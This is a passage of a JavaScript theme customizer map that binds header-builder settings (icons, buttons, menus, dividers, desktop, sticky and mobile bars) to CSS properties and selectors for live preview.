        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_size)': {
            'font-size': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnbstyle)': {
            'border-style': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bg_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bgh_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bd_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_bdh_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_size)': {
            'font-size': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bd_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bdh_color)': {
            'border-color': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bg_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_bgh_color)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_item_count_txt)': {
            'color': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_item_count_bg)': {
            'background-color': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
        },

        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_item_count_txt)': {
            'color': '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
        },
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_item_count_bg)': {
            'background-color': '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
        },

        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnbstyle)': {
            'border-style': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        },

        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_item_count_txt)': {
            'color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
        },
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_item_count_bg)': {
            'background-color': '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
        },

        // cart
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_color)': '.penci-builder-elements.pcheader-icon.compare-icon > a',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_hv_color)': '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_color)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_hv_color)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_color)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_hv_color)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents:hover',

        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bcolor)': {
            'border-color': '.pb-header-builder.cart-icon',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bhcolor)': {
            'border-color': '.pb-header-builder.cart-icon:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bgcolor)': {
            'background-color': '.pb-header-builder.cart-icon',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_bghcolor)': {
            'background-color': '.pb-header-builder.cart-icon:hover',
        },
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btnbstyle)': {
            'border-style': '.pb-header-builder.cart-icon',
        },

        // button font size
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_color)': {
            'color': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_hv_color)': {
            'color': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a:hover',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_txt_size)': {
            'font-size': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_txt_size)': {
            'font-size': '.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_size)': {
            'font-size': '.penci-builder-button.button-2',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_size)': {
            'font-size': '.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_size)': {
            'font-size': '.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_size)': {
            'font-size': '.penci-builder-button.button-mobile-2',
        },

        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_size)': {
            'font-size': '.pc-header-element.penci-topbar-social .pclogin-item a i',
        },

        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_txt_size)': {
            'font-size': '.pc-header-element.penci-topbar-social .pclogin-item a',
        },

        // sidebar mobile menu
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_color)': '.pc-builder-menu.pc-dropdown-menu .menu li a',

        // button
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font)': {
            'font-family': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font_w)': {
            'font-weight': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_font_s)': {
            'font-style': '.penci-builder-element.top-search-classes.penci-header-bookmark-element a',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_section)(penci_header_pb_button_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-1',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-2',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-4',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-3',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-mobile-1',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font)': {
            'font-family': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_w)': {
            'font-weight': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_s)': {
            'font-style': '.penci-builder.penci-builder-button.button-mobile-2',
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_size)': {
            'font-size': '.pc-builder-element.penci-top-search a i',
        },
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_format_size)': {
            'font-size': '.penci-builder-element.penci-data-time-format',
        },

        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_custom_width)': {
            'width': '.penci-desktop-topblock .container.container-custom',
            '--pcctain': '.penci-desktop-topblock .container.container-custom',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_content_custom_width)': {
            'width': '.penci-desktop-topbar .container.container-custom',
            '--pcctain': '.penci-desktop-topbar .container.container-custom',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_content_custom_width)': {
            'width': '.penci-desktop-midbar .container.container-custom',
            '--pcctain': '.penci-desktop-midbar .container.container-custom',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottom_content_custom_width)': {
            'width': '.penci-desktop-bottombar .container.container-custom',
            '--pcctain': '.penci-desktop-bottombar .container.container-custom',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_content_custom_width)': {
            'width': '.penci-desktop-bottomblock .container.container-custom',
            '--pcctain': '.penci-desktop-bottomblock .container.container-custom',
        },

        // line-divider-1
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_width)': {
            'width': '.penci-vertical-line.vertical-line-1',
        },
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_height)': {
            'height': '.penci-vertical-line.vertical-line-1',
        },
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_color)': {
            'background-color': '.penci-vertical-line.vertical-line-1',
        },
        // line-divider-2
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_width)': {
            'width': '.penci-vertical-line.vertical-line-2',
        },
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_height)': {
            'height': '.penci-vertical-line.vertical-line-2',
        },
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_color)': {
            'background-color': '.penci-vertical-line.vertical-line-2',
        },
        // line-divider-3
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_width)': {
            'width': '.penci-vertical-line.vertical-line-3',
        },
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_height)': {
            'height': '.penci-vertical-line.vertical-line-3',
        },
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_color)': {
            'background-color': '.penci-vertical-line.vertical-line-3',
        },
        // line-divider-4
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_width)': {
            'width': '.penci-vertical-line.vertical-line-4',
        },
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_height)': {
            'height': '.penci-vertical-line.vertical-line-4',
        },
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_color)': {
            'background-color': '.penci-vertical-line.vertical-line-4',
        },
        // line-divider-5
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_width)': {
            'width': '.penci-vertical-line.vertical-line-5',
        },
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_height)': {
            'height': '.penci-vertical-line.vertical-line-5',
        },
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_color)': {
            'background-color': '.penci-vertical-line.vertical-line-5',
        },
        // line-divider-mobile-1
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_width)': {
            'width': '.penci-vertical-line.vertical-line-mobile-1',
        },
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_height)': {
            'height': '.penci-vertical-line.vertical-line-mobile-1',
        },
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_color)': {
            'background-color': '.penci-vertical-line.vertical-line-mobile-1',
        },
        // line-divider-mobile-2
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_width)': {
            'width': '.penci-vertical-line.vertical-line-mobile-2',
        },
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_height)': {
            'height': '.penci-vertical-line.vertical-line-mobile-2',
        },
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_color)': {
            'background-color': '.penci-vertical-line.vertical-line-mobile-2',
        },
        // main menu
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_for_menu)': {
            '--pchb-main-menu-font': '.pc-builder-element.pc-main-menu',
            'font-family': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-main-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_size_lv1)': {
            '--pchb-main-menu-fs': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_font_size_drop)': {
            '--pchb-main-menu-fs_l2': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_lv1_item_spacing)': {
            '--pchb-main-menu-mg': '.pc-builder-element.pc-main-menu',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_lv1_item_margin)': {
            '--pchb-main-menu-mgi': '.pc-builder-element.pc-main-menu',
        },
        // second menu
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_for_menu)': {
            '--pchb-second-menu-font': '.pc-builder-element.pc-second-menu',
            'font-family': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-second-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_size_lv1)': {
            '--pchb-second-menu-fs': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_font_size_drop)': {
            '--pchb-second-menu-fs_l2': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_lv1_item_spacing)': {
            '--pchb-second-menu-mg': '.pc-builder-element.pc-second-menu',
        },
        'setting(penci_header_pb_second_section)(penci_header_pb_second_menu_penci_lv1_item_margin)': {
            '--pchb-second-menu-mgi': '.pc-builder-element.pc-second-menu',
        },

        // thrid menu
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_for_menu)': {
            '--pchb-third-menu-font': '.pc-builder-element.pc-third-menu',
            'font-family': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_weight_menu)': {
            'font-weight': '.pc-builder-element.pc-third-menu .navigation .menu li a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_size_lv1)': {
            '--pchb-third-menu-fs': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_font_size_drop)': {
            '--pchb-third-menu-fs_l2': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_lv1_item_spacing)': {
            '--pchb-third-menu-mg': '.pc-builder-element.pc-third-menu',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_lv1_item_margin)': {
            '--pchb-third-menu-mgi': '.pc-builder-element.pc-third-menu',
        },
        // topblock section
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_img)': {
            'background-image': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_color)': {
            'background-color': '.penci-desktop-topblock, .penci_header_overlap .penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_repeat)': {
            'background-repeat': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_position)': {
            'background-position': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_size)': {
            'background-size': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_background_attachment)': {
            'background-attachment': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_border_setting)': {
            'border-color': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_border_style_setting)': {
            'border-style': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_text_color_setting)': {
            'color': '.penci-desktop-topblock',
        },
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_maxheight_setting)': {
            'max-height': '.penci-desktop-topblock',
        },
        // top section
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_img)': {
            'background-image': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_color)': {
            'background-color': '.penci-desktop-topbar, .penci_header_overlap .penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_repeat)': {
            'background-repeat': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_position)': {
            'background-position': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_size)': {
            'background-size': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_background_attachment)': {
            'background-attachment': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_border_setting)': {
            'border-color': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_border_style_setting)': {
            'border-style': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_text_color_setting)': {
            'color': '.penci-desktop-topbar',
        },
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_maxheight_setting)': {
            'max-height': '.penci-desktop-topbar',
        },
        // mid section
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_img)': {
            'background-image': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_color)': {
            'background-color': '.penci-desktop-midbar, .penci_header_overlap .penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_repeat)': {
            'background-repeat': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_position)': {
            'background-position': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_size)': {
            'background-size': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_background_attachment)': {
            'background-attachment': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_border_setting)': {
            'border-color': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_border_style_setting)': {
            'border-style': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_text_color_setting)': {
            'color': '.penci-desktop-midbar',
        },
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_maxheight_setting)': {
            'max-height': '.penci-desktop-midbar',
        },
        // bottom section
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_img)': {
            'background-image': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_color)': {
            'background-color': '.penci-desktop-bottombar, .penci_header_overlap .penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_repeat)': {
            'background-repeat': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_position)': {
            'background-position': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_size)': {
            'background-size': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_background_attachment)': {
            'background-attachment': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_border_setting)': {
            'border-color': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_border_style_setting)': {
            'border-style': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_text_color_setting)': {
            'color': '.penci-desktop-bottombar',
        },
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_maxheight_setting)': {
            'max-height': '.penci-desktop-bottombar',
        },
        // bottom section
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_img)': {
            'background-image': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_color)': {
            'background-color': '.penci-desktop-bottomblock, .penci_header_overlap .penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_repeat)': {
            'background-repeat': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_position)': {
            'background-position': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_size)': {
            'background-size': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_background_attachment)': {
            'background-attachment': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_border_setting)': {
            'border-color': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_border_style_setting)': {
            'border-style': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_text_color_setting)': {
            'color': '.penci-desktop-bottomblock',
        },
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_maxheight_setting)': {
            'max-height': '.penci-desktop-bottomblock',
        },

        // top sticky section
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_img)': {
            'background-image': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_color)': {
            'background-color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_repeat)': {
            'background-repeat': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_position)': {
            'background-position': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_size)': {
            'background-size': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_background_attachment)': {
            'background-attachment': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_border_setting)': {
            'border-color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_border_style_setting)': {
            'border-style': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_text_color_setting)': {
            'color': '.penci-sticky-top',
        },
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_maxheight_setting)': {
            'max-height': '.penci-sticky-top',
        },

        // mid sticky section
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_img)': {
            'background-image': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_color)': {
            'background-color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_repeat)': {
            'background-repeat': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_position)': {
            'background-position': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_size)': {
            'background-size': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_background_attachment)': {
            'background-attachment': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_border_setting)': {
            'border-color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_border_style_setting)': {
            'border-style': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_text_color_setting)': {
            'color': '.penci-sticky-mid',
        },
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_maxheight_setting)': {
            'max-height': '.penci-sticky-mid',
        },

        // bottom sticky section
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_img)': {
            'background-image': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_color)': {
            'background-color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_repeat)': {
            'background-repeat': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_position)': {
            'background-position': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_size)': {
            'background-size': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_background_attachment)': {
            'background-attachment': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_border_setting)': {
            'border-color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_border_style_setting)': {
            'border-style': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_text_color_setting)': {
            'color': '.penci-sticky-bottom',
        },
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_maxheight_setting)': {
            'max-height': '.penci-sticky-bottom',
        },

        // mobile top
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_img)': {
            'background-image': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_color)': {
            'background-color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_repeat)': {
            'background-repeat': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_position)': {
            'background-position': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_size)': {
            'background-size': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_background_attachment)': {
            'background-attachment': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_border_setting)': {
            'border-color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_border_style_setting)': {
            'border-style': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_text_color_setting)': {
            'color': '.penci-mobile-topbar',
        },
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_maxheight_setting)': {
            'max-height': '.penci-mobile-topbar',
        },

        // mobile mid
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_img)': {
            'background-image': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_color)': {
            'background-color': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_repeat)': {
            'background-repeat': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_position)': {
            'background-position': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_size)': {
            'background-size': '.penci-mobile-midbar',
        },
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_background_attachment)': {
            'background-attachment': '.penci-mobile-midbar',
        },
